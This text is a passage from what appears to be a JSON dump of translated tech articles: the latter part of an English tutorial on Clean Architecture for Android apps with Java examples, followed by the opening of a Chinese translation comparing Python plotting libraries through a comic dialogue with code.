in Clean, code is separated into layers in an onion shape with one **dependency rule:** The inner layers should not know anything about the outer layers. Meaning that the **dependencies should point inwards**.\n\nThis is the previous paragraph visualized:\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f1ihwkh3y5j20lg0frjum.jpg)\n\n<figcaption>Awesome visual representation of the Clean Architecture. All credit for this image goes to [Uncle Bob](https://blog.8thlight.com/uncle-bob/archive.html).</figcaption>\n\nClean Architecture, as mentioned in the provided articles, makes your code:\n\n*   **Independent of Frameworks**\n*   **Testable.**\n*   **Independent of UI.**\n*   **Independent of Database.**\n*   **Independent of any external agency.**\n\nI will hopefully make you understand how these points are achieved with examples below. For a more detailed explanation of Clean I really recommend this [article](https://blog.8thlight.com/uncle-bob/2012/08/13/the-clean-architecture.html) and this [video](https://vimeo.com/43612849).\n\n### What this means for Android\n\nGenerally, your app can have an arbitrary amount of layers but unless you have Enterprise wide business logic that you have to apply in every Android app, you will most often have 3 layers:\n\n*   Outer: Implementation layer\n*   Middle: Interface adapter layer\n*   Inner: Business logic layer\n\nThe **implementation layer** is where everything framework specific happens. Framework specific code **includes every line of code that is not solving the problem you set to solve**, this includes all Android stuff like creating activities and fragments, sending intents, and other framework code like networking code and databases.\n\nThe purpose of the **interface adapter layer** is to act as a connector between your business logic and framework specific code.\n\nThe most important layer is the **business logic layer**. This is where you actually solve the problem you want to solve building your app. This layer does not contain any framework specific code and you **should be able to run it without an emulator**. This way you can have your business logic code that is **easy to test, develop and maintain**. That is the main benefit of the Clean Architecture.\n\nEach layer, above the core layer, is also responsible for converting models to lower layer models before the lower layer can use them. An inner layer can not have a reference to model class that belongs to the outer layer. However, the outer layer can use and reference models from the inner layer. Again, this is due to our **dependency rule**. It does create overhead but it is necessary for making sure code is decoupled between layers.\n\n> **Why is this model conversion necessary?** For example, your business logic models might not be appropriate for showing them to the user directly. Perhaps you need to show a combination of multiple business logic models at once. Therefore, I suggest you create a ViewModel class that makes it easier for you to display it to the UI. Then, you use a _converter_ class in the outer layer to convert your business models to the appropriate ViewModel.\n\n> Another example might be the following: Let’s say you get a **Cursor** object from a **ContentProvider** in an outer database layer. Then the outer layer would convert it to your inner business model first, and then send it to your business logic layer to be processed.\n\nI will add more resources to learn from at the bottom of the article. Now that we know about the basic principles of the Clean Architecture, let’s get our hands dirty with some actual code. I will show you how to build an example functionality using Clean in the next section.\n\n## How do I start writing Clean apps?\n\nI’ve made a [boilerplate project](https://github.com/dmilicic/Android-Clean-Boilerplate) that has all of the plumbing written for you. It acts as a **Clean starter pack** and is designed to be built upon immediately with most common tools included from the start. You are **free** to download it, modify it and build your apps with it.\n\nYou can find the starter project here: [**Android Clean Boilerplate**](https://github.com/dmilicic/Android-Clean-Boilerplate)\n\n## Getting started writing a new use case\n\nThis section will explain all the code you need to write to create a use case using the Clean approach on top of the boilerplate provided in the previous section. A use case is just some isolated functionality of the app. A use case may (e.g. on user click) or may not be started by a user.\n\nFirst let’s explain the structure and terminology of this approach. This is how I build apps but it is _not set in stone_ and you can organize it differently if you want.\n\n### Structure\n\nThe general structure for an Android app looks like this:\n\n*   Outer layer packages: UI, Storage, Network, etc.\n*   Middle layer packages: Presenters, Converters\n*   Inner layer packages: Interactors, Models, Repositories, Executor\n\n### Outer layer\n\nAs already mentioned, this is where the framework details go.\n\n**UI — **This is where you put all your Activities, Fragments, Adapters and other Android code related to the user interface.\n\n**Storage — **Database specific code that implements the interface our Interactors use for accessing data and storing data. This includes, for example, [**ContentProviders**](http://developer.android.com/guide/topics/providers/content-providers.html) or ORM-s such as [**DBFlow**](https://github.com/Raizlabs/DBFlow).\n\n**Network — **Things like [**Retrofit**](http://square.github.io/retrofit/) go here.\n\n### Middle layer\n\nGlue code layer which connects the implementation details with your business logic.\n\n**Presenters — **Presenters handle events from the UI (e.g. user click) and usually serve as callbacks from inner layers (Interactors).\n\n**Converters — **Converter objects are responsible for converting inner models to outer models and vice versa.\n\n### Inner layer\n\nThe core layer contains the most high-level code. **All classes here are POJOs**. Classes and objects in this layer have no knowledge that they are run in an Android app and can easily be ported to any machine running JVM.\n\n**Interactors — **These are the classes which actually **contain your business logic code**. These are run in the background and communicate events to the upper layer using callbacks. They are also called UseCases in some projects (probably a better name). It is normal to have a lot of small Interactor classes in your projects that solve specific problems. This conforms to the [**Single Responsibility Principle**](https://en.wikipedia.org/wiki/Single_responsibility_principle)and in my opinion is easier on the brain.\n\n**Models — **These are your business models that you manipulate in your business logic.\n\n**Repositories — **This package only contains interfaces that the database or some other outer layer implements. These interfaces are used by Interactors to access and store data. This is also called a [repository pattern.](https://msdn.microsoft.com/en-us/library/ff649690.aspx)\n\n**Executor — **This package contains code for making Interactors run in the background by using a worker thread executor. This package is generally not something you need to change.\n\n### A simple example\n\nIn this example, our use case will be: **_“Greet the user with a message when the app starts where that message is stored in the database.”_** This example will showcase how to write the following three packages needed to make the use case work:\n\n*   the **presentation** package\n*   the **storage** package\n*   the **domain** package\n\nThe first two belong to the outer layer while the last one is the inner/core layer.\n\n**Presentation** package is responsible for everything related to showing things on the screen — it includes the whole [MVP](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter) stack (it means it also includes both the UI and Presenter packages even though they belong to different layers).\n\nOK — less talk, more code.\n\n## Writing a new Interactor (inner/core layer)\n\nIn reality you could start in any layer of the architecture, but I recommend you to start on your core business logic first. You can write it, test it and make sure it works without ever creating an activity.\n\nSo let’s start by creating an Interactor. The Interactor is where the main logic of the use case resides. **All Interactors are run in the background thread so there shouldn’t be any impact on UI performance.** Let’s create a new Interactor with a warm name of **WelcomingInteractor**.\n\n    public interface WelcomingInteractor extends Interactor { \n\n        interface Callback { \n\n            void onMessageRetrieved(String message);\n\n            void onRetrievalFailed(String error);\n        } \n    }\n\nThe **Callback** is responsible for talking to the UI on the main thread, we put it into this Interactor’s interface so we don’t have to name it a _WelcomingInteractorCallback — _to distinguish it from other callbacks. Now let’s implement our logic of retrieving a message. Let’s say we have a **MessageRepository** that can give us our welcome message.\n\n    public interface MessageRepository { \n        String getWelcomeMessage();\n    }\n\nNow let’s implement our Interactor interface with our business logic. **It is important that the implementation extends the AbstractInteractor which takes care of running it on the background thread.**\n\n```\npublic class WelcomingInteractorImpl extends AbstractInteractor implements WelcomingInteractor {\n    \n    private void notifyError() {\n        mMainThread.post(new Runnable() {\n            @Override\n            public void run() {\n                mCallback.onRetrievalFailed(\"Nothing to welcome you with :(\");\n            }\n        });\n    }\n\n    private void postMessage(final String msg) {\n        mMainThread.post(new Runnable() {\n            @Override\n            public void run() {\n                mCallback.onMessageRetrieved(msg);\n            }\n        });\n    }\n\n    @Override\n    public void run() {\n\n        // retrieve the message\n        final String message = mMessageRepository.getWelcomeMessage();\n\n        // check if we have failed to retrieve our message\n        if (message == null || message.length() == 0) {\n\n            // notify the failure on the main thread\n            notifyError();\n\n            return;\n        }\n\n        // we have retrieved our message, notify the UI on the main thread\n        postMessage(message);\n    }\n```\n    \n\nThis just attempts to retrieve the message and sends the message or the error to the UI to display it. We notify the UI using our Callback which is actually going to be our Presenter. **That is the crux of our business logic. Everything else we need to do is framework dependent.**\n\nLet’s take a look which dependencies does this Interactor have:\n\n```\nimport com.kodelabs.boilerplate.domain.executor.Executor;\nimport com.kodelabs.boilerplate.domain.executor.MainThread;\nimport com.kodelabs.boilerplate.domain.interactors.WelcomingInteractor;\nimport com.kodelabs.boilerplate.domain.interactors.base.AbstractInteractor;\nimport com.kodelabs.boilerplate.domain.repository.MessageRepository;\n```\n\nAs you can see, there is **no mention of any Android code.** That is the **main benefit** of this approach. You can see that the **Independent of Frameworks** point holds. Also, we do not care about specifics of the UI or database, we just call interface methods that someone somewhere in the outer layer will implement. Therefore, we are **Independent of UI** and **Independent of Databases.**\n\n## Testing our Interactor\n\nWe can now run and **test our Interactor without running an emulator**. So let’s write a simple **JUnit** test to make sure it works:\n\n```\n    @Test\n    public void testWelcomeMessageFound() throws Exception {\n\n        String msg = \"Welcome, friend!\";\n\n        when(mMessageRepository.getWelcomeMessage())\n                .thenReturn(msg);\n\n        WelcomingInteractorImpl interactor = new WelcomingInteractorImpl(\n            mExecutor, \n            mMainThread, \n            mMockedCallback, \n            mMessageRepository\n        );\n        interactor.run();\n\n        Mockito.verify(mMessageRepository).getWelcomeMessage();\n        Mockito.verifyNoMoreInteractions(mMessageRepository);\n        Mockito.verify(mMockedCallback).onMessageRetrieved(msg);\n    }\n```\n    \nAgain, this Interactor code has no idea that it will live inside an Android app. This proves that our business logic is **Testable,** which was the second point to show.\n\n## Writing the presentation layer\n\nPresentation code belongs to the **outer layer** in Clean. It consists of framework dependent code to display the UI to the user. We will use the **MainActivity** class to display the welcome message to the user when the app resumes.\n\nLet’s start by writing the interface of our **Presenter** and **View**. The only thing our view needs to do is to display the welcome message:\n\n    public interface MainPresenter extends BasePresenter { \n\n        interface View extends BaseView { \n            void displayWelcomeMessage(String msg);\n        } \n    }\n\nSo how and where do we start the Interactor when an app resumes? Everything that is not strictly view related should go into the Presenter class. This helps achieve [**separation of concerns**](https://en.wikipedia.org/wiki/Separation_of_concerns) and prevents the Activity classes from getting bloated. This includes all code working with Interactors.\n\nIn our **MainActivity** class we override the **_onResume()_** method:\n\n    @Override\n    protected void onResume() {\n        super.onResume();\n        // let's start welcome message retrieval when the app resumes\n        mPresenter.resume();\n    }\n\nAll **Presenter** objects implement the **_resume()_** method when they extend **BasePresenter**.\n\n> **Note**: Astute readers will probably see that I have added Android lifecycle methods to the BasePresenter interface as helper methods, even though the Presenter is in a lower layer. The Presenter should not know about anything in the UI layer — e.g. that it has a lifecycle. However, I’m not specifying Android specific *_event_* here as every UI has to be shown to the user sometime. Imagine I called it **onUIShow()** instead of **onResume()**. It’s all good now, right? :)\n\nWe start the Interactor inside the **MainPresenter** class in the **_resume()_** method:\n\n    @Override\n    public void resume() {\n        mView.showProgress();\n        // initialize the interactor\n        WelcomingInteractor interactor = new WelcomingInteractorImpl(\n                mExecutor,\n                mMainThread, \n                this, \n                mMessageRepository\n        );\n        // run the interactor\n        interactor.execute();\n    }\n\nThe **_execute()_** method will just execute the **_run()_** method of the **WelcomingInteractorImpl** in a background thread. The **_run()_** method can be seen in the **_Writing a new Interactor_** section.\n\nYou may notice that the Interactor behaves similarly to the **AsyncTask** class. You supply it with all that it needs to run and execute it. You might ask why didn’t we just use AsyncTask? Because that is **Android specific code** and you would need an emulator to run it and to test it.\n\nWe provide several things to the interactor:\n\n*   The **ThreadExecutor** instance which is responsible for executing Interactors in a background thread. I usually make it a singleton. This class actually resides in the **domain** package and does not need to be implemented in an outer layer.\n*   The **MainThreadImpl** instance which is responsible for posting runnables on the main thread from the Interactor. Main threads are accessible using framework specific code and so we should implement it in an outer layer.\n*   You may also notice we provide **_this_** to the Interactor — **MainPresenter** is the Callback object the Interactor will use to notify the UI for events.\n*   We provide an instance of the **WelcomeMessageRepository** which implements the **MessageRepository** interface that our interactor uses. The **WelcomeMessageRepository** is covered later in the **_Writing the storage layer_** section.\n\n> **Note**: Since there are many things you need to provide to an Interactor each time, a dependency injection framework like [Dagger 2](https://github.com/google/dagger) would be useful. But I choose not to include it here for simplicity. Implementation of such a framework is left to your own discretion.\n\nRegarding **_this_**, the **MainPresenter** of the **MainActivity** really does implement the Callback interface:\n\n    public class MainPresenterImpl extends AbstractPresenter implements MainPresenter, WelcomingInteractor.Callback {\n\nAnd that is how we listen for events from the Interactor. This is the code from the **MainPresenter**:\n\n    @Override \n    public void onMessageRetrieved(String message) {\n        mView.hideProgress(); \n        mView.displayWelcomeMessage(message);\n    } \n\n    @Override \n    public void onRetrievalFailed(String error) {\n        mView.hideProgress(); \n        onError(error);\n    }\n\nThe View seen in these snippets is our **MainActivity** which implements this interface:\n\n    public class MainActivity extends AppCompatActivity implements MainPresenter.View {\n\nWhich is then responsible for displaying the welcome message, as seen here:\n\n    @Override \n    public void displayWelcomeMessage(String msg) {\n        mWelcomeTextView.setText(msg);\n    }\n\nAnd that is pretty much it for the presentation layer.\n\n## Writing the storage layer\n\nThis is where our repository gets implemented. All the database specific code should come here. The repository pattern just abstracts where the data is coming from. Our main business logic is oblivious to the source of the data — be it from a database, a server or text files.\n\nFor complex data you can use [**ContentProviders**](http://developer.android.com/guide/topics/providers/content-providers.html) or ORM tools such as [**DBFlow**](https://github.com/Raizlabs/DBFlow). If you need to retrieve data from the web then [**Retrofit**](http://square.github.io/retrofit/) will help you. If you need simple key-value storage then you can use [**SharedPreferences**](http://developer.android.com/training/basics/data-storage/shared-preferences.html). You should use the right tool for the job.\n\nOur database is not really a database. It is going to be a very simple class with some simulated delay:\n\n    public class WelcomeMessageRepository implements MessageRepository { \n        @Override \n        public String getWelcomeMessage() {\n            String msg = \"Welcome, friend!\"; // let's be friendly\n\n            // let's simulate some network/database lag \n            try { \n                Thread.sleep(2000);\n            } catch (InterruptedException e) {\n                e.printStackTrace();\n            } \n\n            return msg;\n        } \n    }\n\nAs far as our **WelcomingInteractor** is concerned, the lag might be because of the real network or any other reason. It doesn’t really care what is underneath the **MessageRepository** as long as it implements that interface.\n\n### Summary\n\nThis example can be accessed on a git repository [here](https://github.com/dmilicic/Android-Clean-Boilerplate/tree/example). The summarized version of calls by class is as follows:\n\n> **MainActivity ->MainPresenter -> WelcomingInteractor -> WelcomeMessageRepository -> WelcomingInteractor -> MainPresenter -> MainActivity**\n\nIt is important to note the flow of control:\n\n> **Outer — Mid — Core — Outer — Core — Mid — Outer**\n\nIt is common to access the outer layers multiple times during a single use case. In case you need to display something, store something and access something from the web, your flow of control will access the outer layer at least three times.\n\n## Conclusion\n\nFor me, this has been the best way to develop apps so far. Decoupled code makes it easy to focus your attention on specific issues without a lot of bloatware getting in the way. After all, I think this is a pretty [SOLID](https://en.wikipedia.org/wiki/SOLID_%28object-oriented_design%29) approach but it does take some time getting used to. That was also the reason I wrote all of this, to help people understand better with step-by-step examples. If anything remains unclear I will gladly address those concerns as your feedback is very important. I would also very much like to hear what can be improved. A healthy discussion would benefit everyone.\n\nI have also built and open sourced a sample cost tracker app with Clean to showcase how the code would look like on a real app. It’s nothing really innovative in terms of features but I think it covers what I talked about well with a bit more complex examples. You can find it here: [**Sample Cost Tracker App**](https://github.com/dmilicic/android-clean-sample-app)\n\nAnd again, that sample app was built upon the _Clean starter pack_ that can be found here: [**Android Clean Boilerplate**](https://github.com/dmilicic/Android-Clean-Boilerplate)\n\n"
  },
  {
    "path": "TODO/a-dramatic-tour-through-pythons-data-visualization-landscape-including-ggplot-and-altair.md",
    "content": "> * 原文地址：[A Dramatic Tour through Python’s Data Visualization Landscape (including ggplot and Altair)](https://dansaber.wordpress.com/2016/10/02/a-dramatic-tour-through-pythons-data-visualization-landscape-including-ggplot-and-altair/)\n* 原文作者：[Dan Saber](https://dansaber.wordpress.com/about-me/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cdpath](https://github.com/cdpath)\n* 校对者：[Gran](https://github.com/Graning), [Freya Yu](https://github.com/ZiXYu)\n\n# Python 数据可视化概览（涵盖 ggplot 和 Altair）\n\n![](https://dansaber.files.wordpress.com/2016/09/yejgqmzehsyh83ossacczmgrjtvkpm3fpiesqskqajpe2c9szs7b0jkea8aqx38vjsegmyjuchwmzo2hesiaesiaesiaesiaesiaesiaesgh8ekfsmv5jsixigarigarigarigarigarigariws4bchdnqsemkqaikqaikqaikqaikqaikqaikm.png)\n\n\n\n### 伙计，为什么还要去尝试？\n\n* * *\n\n我最近偶然发现了 Brian Granger 和 Jake VanderPlas 开发的 Altair，一个非常有潜力的新可视化库。Altair 似乎非常适合用来表达 Python 对 ggplot 的羡慕，而它采用了 JavaScript 的 Vega-Lite 语法，这意味着后者开发的新功能（比如提示框和缩放）都能被 Altair 所用，而且看样子是免费的！\n\n我甚至是太喜欢 Altair 了，都想把本文的主题改成: **「嘿，用 Altair 吧。」**\n\n不过我随后开始反思自以为更 Pythonic 的可视化习惯，在这相当痛苦的自我反思中，我发现自己错得一塌糊涂：为了应对手头的工作我用了一大堆工具还有乱七八糟的技术，通常是随便选一个第一个能完成工作的库 <sup>1</sup>。 \n\n这并不好。俗话说得好，「未经校对的绘图不值得导出 PNG 文件」。\n\n于是我借着探索 Altair 的机会回过头来研究了 Python 可视化统计工具是如何组织在一起的。希望我的调查结果对你也有用。\n\n### 我们从哪里开始呢？\n\n* * *\n\n本文用别出心裁的对比手法写成：「你需要做某事。你要怎么用 matplotlib，pandas，Seaborn，ggplot 或者 Altair 来实现呢？」通过这些不同的实现方式，我们就可以得出它们的优点，缺点，还有其他收获 —— 至少这么多代码说不定啥时候有用呢。\n\n（警告：所有这一切都会以双幕剧的形式呈现）\n\n### 主角们（按主观复杂性递减排列）\n\n* * *\n\n首先，欢迎我们的朋友们<sup>2</sup>:\n\n**[matplotlib](http://matplotlib.org/)**\n\nmatplotlib 就像八百磅的大猩猩一样「重」，最好躲着它走，除非真的需要它的力量，比如需要定制化绘图或者提供可以出版的图像。\n\n（我们将会看到，当谈到统计可视化时，正确的思路可能是：「尽量用熟悉的工具（比如下面要讲到的四个库）把活干完，剩下的再用 matplotlib」。）\n\n**[pandas](http://pandas.pydata.org/pandas-docs/stable/visualization.html)**\n\n为数据框而生；坚持使用绘图便利函数，而这可以说比被取代的 matplotlib 代码好用多了。- 被拒的 pandas 广告语。\n\n（花边新闻：pandas 项目组肯定有些可视化迷，因为它包含了诸如 RadViz 图和 Andrews 曲线这类其他库没有的东西。）\n\n**[Seaborn](https://stanford.edu/~mwaskom/software/seaborn/)**\n\nSeaborn 一直是我最核心的统计可视化库，它这样自我总结的：\n\n**如果说 matplotlib 试图让简单的更简单，让难的变得可行，那么 Seaborn 就是试图让虽难却定义精良的部分也变得简单。**\n\n**[yhat’s ggplot](https://github.com/yhat/ggplot)**\n\nggplot 是出色的声明式 ggplot2 的 Python 实现。它不仅仅「逐一复刻」了 ggplot2 的特性，还有一些共有的强大特性。（对业余的 R 语言用户而言，重要的组件似乎应有尽有。）\n\n**[Altair](https://github.com/ellisonbg/altair)**\n\n新成员 Altair 是「声明式统计可视化库」，有着极其好用的 API。\n\n好极了。既然大伙都到了还做了自我介绍，我们开始尴尬的晚宴对话吧。我们的演出叫……\n\n## Python 可视化库小商店（每个库演的就是自己）\n\n* * *\n\n### 第一幕：线和点\n\n* * *\n\n（在第一场，我们要处理的是整洁数据集 `ts`。它有三列：`dt`（存日期），`value` （存值）和 `kind` （有四个不同的**水平**：A，B，C 和 D）。数据长这个样子：）\n\n\n||dt|kind|value|\n|---|---|---|---|\n|0|2000-01-01|A|1.442521|\n|1|2000-01-02|A|1.981290|\n|2|2000-01-03|A|1.586494|\n|3|2000-01-04|A|1.378969|\n|4|2000-01-05|A|-0.277937|\n\n\n\n#### 第一场：如何在一张图上画多个时间序列？\n\n* * *\n\n**matplotlib**:  哈！哈哈！不能再简单了。虽然我可以用很多复杂的方式搞定这个，不过我明白你们的笨脑子是无法理解其中的精妙的。所以我退而求其次给你们展示两个简单的方法。第一个方法，我循环使用你们虚构的矩阵，我相信你们这些人把它叫做「数据框」，取其子集传给相关的时间序列。然后调用 `plot` 方法，传入子集中的相关列。\n\n``` python\n# MATPLOTLIB\nfig, ax = plt.subplots(1, 1,\n                       figsize=(7.5, 5))\n\nfor k in ts.kind.unique():\n    tmp = ts[ts.kind == k]\n    ax.plot(tmp.dt, tmp.value, label=k)\n\nax.set(xlabel='Date',\n       ylabel='Value',\n       title='Random Timeseries')\n\nax.legend(loc=2)\nfig.autofmt_xdate()\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/ct7c3skpksgntjpw6dqp5exnq09pdibejmhpmtcgqksrjazmytqlwatmydaad0urgmw0gg8fgmjoirnnmmbgmbqojwdptbopbydcackztzjaydaajica6bqadwwawmgis02ywgawgo4naom0gg8fgmjoirnnmmbgmbqojwdptbopbydcacp8dxilt.png)\n\n\n**MPL**: 然后我把它转换成数组（给 pandas 做手势），让他对「数据框」做轴向旋转（pivot），结果是这样的：\n\n``` python\n# the notion of a tidy dataframe matters not here\ndfp = ts.pivot(index='dt', columns='kind', values='value')\ndfp.head()\n```\n\n\n|kind|A|B|C|D|\n|---|---|---|---|---|\n|dt|||||\n|2000-01-01|1.442521|1.808741|0.437415|0.096980|\n|2000-01-02|1.981290|2.277020|0.706127|-1.523108|\n|2000-01-03|1.586494|3.474392|1.358063|-3.100735|\n|2000-01-04|1.378969|2.906132|0.262223|-2.660599|\n|2000-01-05|-0.277937|3.489553|0.796743|-3.417402|\n\n\n\n\n\n\n**MPL**:  将数据转换为有四个列的索引 —— 每一列都对应待画的线 —— 我用一步就可以搞定这一切（比如，调用一次 `plot` 函数）。\n\n``` python\n# MATPLOTLIB\nfig, ax = plt.subplots(1, 1,\n                       figsize=(7.5, 5))\n\nax.plot(dfp)\n\nax.set(xlabel='Date',\n       ylabel='Value',\n       title='Random Timeseries')\n\nax.legend(dfp.columns, loc=2)\nfig.autofmt_xdate()\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/ct7c3skpksgntjpw6dqp5exnq09pdibejmhpmtcgqksrjazmytqlwatmydaad0urgmw0gg8fgmjoirnnmmbgmbqojwdptbopbydcackztzjaydaajica6bqadwwawmgis02ywgawgo4naom0gg8fgmjoirnnmmbgmbqojwdptbopbydcacp8dxilt1.png)\n\n**pandas (看上去怯生生的):** 这很不错，Mat。真的不错。谢谢你提到我。我也能用同样的方法搞定这个 —— 希望可以同样出色（微微一笑）。\n\n\n``` python\n# PANDAS\nfig, ax = plt.subplots(1, 1,\n                       figsize=(7.5, 5))\n\ndfp.plot(ax=ax)\n\nax.set(xlabel='Date',\n       ylabel='Value',\n       title='Random Timeseries')\n\nax.legend(loc=2)\nfig.autofmt_xdate()\n```\n\n**pandas**:  结果看上去完全一样，所以我就不展示了。\n\n**Seaborn（抽着烟，调整着贝雷帽）**:  唔。看上去区区一个折线图就让你们做了这么多数据处理。我是说，for 循环和轴向旋转？这不是九十年代的微软 Excel（译者注：pivot table 即 Excel 的数据透视表）。我在国外学到一个叫做 FacetGrid 的东西。你们大概从来没有听说过……\n\n``` python\n# SEABORN\ng = sns.FacetGrid(ts, hue='kind', size=5, aspect=1.5)\ng.map(plt.plot, 'dt', 'value').add_legend()\ng.ax.set(xlabel='Date',\n         ylabel='Value',\n         title='Random Timeseries')\ng.fig.autofmt_xdate()\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/pcylvh1mdhr08pz8tbaetls3xdn5zvr6oqluqqj3jolrccvj0jxzfjvamwdhl8fotw8jc9vt0mjydpbw3l9fuvgkwljyaghsjlcuzs7hb1duuurrqkbupls0mn0zw8phb8fextuxpd3d20t7czpt3nzmwm9fx1zdiz1tbwgbgyo2rpkn6g6nor.png)\n\n**SB:** 看懂了吗？直接给 FacetGrid 传入未处理的整洁数据。在这里，将 `kind` 赋给 `hue` 参数的意思是绘出四条不同的线 —— 每条线对应 `kind` 的一个水平。而真正画出这四条线，得把 FacetGrid 映射到到庸俗的（**示意 matplotlib**） plot 函数，再传入 `x` 和 `y` 参数。显然，这些东西得牢记，就像添加图例一样，但是也不会太难。好吧，对有些人来说没有什么东西有挑战性……\n\n**ggplot**:  哇，赞！我的方法和她差不多，但是我做起来更像我的大哥。你们听过他吗？他超级酷 ——\n\n**SB**:  谁邀请了这个孩子？\n\n**GG**:  快来看看！\n\n``` python\n# GGPLOT\nfig, ax = plt.subplots(1, 1, figsize=(7.5, 5))\n\ng = ggplot(ts, aes(x='dt', y='value', color='kind')) + \\\n        geom_line(size=2.0) + \\\n        xlab('Date') + \\\n        ylab('Value') + \\\n        ggtitle('Random Timeseries')\ng\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/a0vxdiqolaa4aaaaaelftksuqmcc.png)\n\n**GG (拿起 Hadley Wickham 写的 《ggplot2》读出声来)**:  每一幅图都由数据（比如 `ds`），图形映射（比如 `x`，`y` 和 `color`）和几何图形（比如 `geom_line`）组成，而后者将数据和图形映射转换成真正的可视化。\n\n**Altair**:  没错，我也是这么做的。\n\n``` python\n# ALTAIR\nc = Chart(ts).mark_line().encode(\n    x='dt',\n    y='value',\n    color='kind'\n)\nc\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/snca9dqgreqat6epbiuncigaiigaiigaiiqa8cekkkcxeqareqareqargqsfimiiaiiiaiiiaiieaxappjkszjr4maciiaciiacdsmgerswxwuc0vaberaberabiorkegqxklhiyaiiiaiiiainiyarfldhc5zruaereaereaeihh4f8agjg7cmx0y.png)\n\n**ALT**:  给我的 Chart 类同样的数据，告诉它你要哪种可视化：这里就是 `mark_line`。然后指定想要的图形映射：x 轴是 `data`，y 轴是 `value`；因为我们想要按 `kind` 分组，所以把 `kind` 传给 `color`。就跟你一样，GG（**拨乱 GG 的头发**）。哦，这样一来，要用你们都用的配色方案也轻而易举了：\n\n``` python\n# ALTAIR\n\n# cp corresponds to Seaborn's standard color palette\nc = Chart(ts).mark_line().encode(\n    x='dt',\n    y='value',\n    color=Color('kind', scale=Scale(range=cp.as_hex()))\n)\nc\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/xdux5styklaiigaouqkegqbksukgiimaicz3dlanty15oelhfp2rhcq5cqareqgz4ejjiuhcigaiigaiigailqhybeksjcberaberaberabcssfamiiaiiiaiiiaiieezam0lhnhsuciiaciiacihazqhijnxm4tjxberaberabeqgjibeuhgnhsu.png)\n\n**MPL 害怕又惊讶地盯着**\n\n#### 第一场的分析\n\n* * *\n\n除了混蛋的 matplotlib <sup>3</sup>，还有一些要点值得注意。\n\n*   用 matplotlib 和 pandas 的时候，要么得多次调用 `plot` 函数（比如每个 for 循环里面），要么得对数据进行处理才能更好适用于 plot 函数（比如轴向旋转）。（也就是说我们在第二场还会见到其他的技术。）\n\n*   （说实话，我从来不觉得这是个大问题，直到我遇到了 R 语言使用者。他们看到我都惊呆了。）\n\n*   与之相反，ggplot 和 Altair 用的是类似声明式「图形语法」的方法去解决这种简单问题：给「主」函数 （ggplot 中的 `ggplot` 和 Altair 中的 `Chart`）传入整洁的数据集。然后定义一组图形映射（x，y 和 color）来说明数据该如何映射到图形上（比如视觉标记做了很多努力以便更好地传达信息）。只要使用这些图形（ggplot 的 `geom_line` 和 Altair 的 `mark_line`），数据和图形映射就会被转换成便于人类理解的视觉形象，这样一来就大功告成了。\n\n*   聪明得话，你可以（甚至应该）透过同样的视角看待 Seaborn 的 FacetGrit；但是并不是完全一致。FacetGrid 除了数据集之外还需要**预先**提供 `hue` 参数，然后才需要 x 和 y 参数。这种映射并不是图形映射，只是函数映射：数据集中的每一个 `hue` 都会调用 matplotlib 的 plot 函数，`dt` 和 `value` 分别传给 x 和 y 参数。for 循环是不可见的底层实现。\n\n*   也就是说，尽管图形映射需要两个独立的步骤，比起命令式的思维方式，我还是更喜欢图形映射（至少在画图时如此）。\n\n**数据说明**\n\n（在第二场到第四场，我们会处理著名的「鸢尾花」数据集（在代码中用 `df` 表示）。它包含了四个数字列，对应不同的测量，还有一个类别列，表明它是三种鸢尾花中的哪一种。下面是预览：\n\n\n|花瓣长度|花瓣宽度|萼片长度|萼片宽度|品种|\n|---|---|---|---|---|\n|0|1.4|0.2|5.1|3.5|setosa|\n|1|1.4|0.2|4.9|3.0|setosa|\n|2|1.3|0.2|4.7|3.2|setosa|\n|3|1.5|0.2|4.6|3.1|setosa|\n|4|1.4|0.2|5.0|3.6|setosa|\n\n#### 第二场：如何画散点图？\n\n* * *\n\n**MPL（看上去有点震惊）**:  我是说，你可以继续用 for 循环，当然了。这样也没什么问题。当然。懂了吗？（**压低声音小声说**）只要记得显式地设定好颜色变量，不然所有的点都是蓝的……\n\n``` python\n# MATPLOTLIB\nfig, ax = plt.subplots(1, 1, figsize=(7.5, 7.5))\n\nfor i, s in enumerate(df.species.unique()):\n    tmp = df[df.species == s]\n    ax.scatter(tmp.petalLength, tmp.petalWidth,\n               label=s, color=cp[i])\n\nax.set(xlabel='Petal Length',\n       ylabel='Petal Width',\n       title='Petal Width v. Length -- by Species')\n\nax.legend(loc=2)\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/b8zayrghoixaaaaaelftksuqmcc.png)\n\n**MPL**:  可是，呃，（**假装充满自信**）我有个更好的主意！看这个：\n\n``` python\n# MATPLOTLIB\nfig, ax = plt.subplots(1, 1, figsize=(7.5, 7.5))\n\ndef scatter(group):\n    plt.plot(group['petalLength'],\n             group['petalWidth'],\n             'o', label=group.name)\n\ndf.groupby('species').apply(scatter)\n\nax.set(xlabel='Petal Length',\n       ylabel='Petal Width',\n       title='Petal Width v. Length -- by Species')\n\nax.legend(loc=2)\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/a2clfjm5bkunaaaaaelftksuqmcc.png)\n\n**MPL**:  我在这定义了 `scatter` 函数。它用 pandas 的 groupby 对象得到分组，然后在 x 轴上画出花瓣长度，y 轴则是花瓣宽度。每组都如此处理一番！厉害吧！\n\n**P**:  真不错，Mat！真不错！基本上和我的方法差不多，所以我就坐这里不展示了。\n\n**SB (咧嘴笑)**:  这次怎么没用轴向旋转？\n\n**P**:  嗯，这个例子里要用轴向旋转的话比较复杂。因为不像处理时序数据一样有一个通用的索引，所以……\n\n**MPL**:  嘘！我们没必要跟她解释。\n\n**SB**:  随便你了。不管怎样，在我看来这个问题和上一个没有什么区别。还是构建一个 FacetGrid，只是这次将 `plt.plot` 换成 `plt.scatter`。\n\n``` python\n# SEABORN\ng = sns.FacetGrid(df, hue='species', size=7.5)\ng.map(plt.scatter, 'petalLength', 'petalWidth').add_legend()\ng.ax.set_title('Petal Width v. Length -- by Species')\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/h8v9t5kv2yf2aaaaaelftksuqmcc.png)\n\n**GG**:  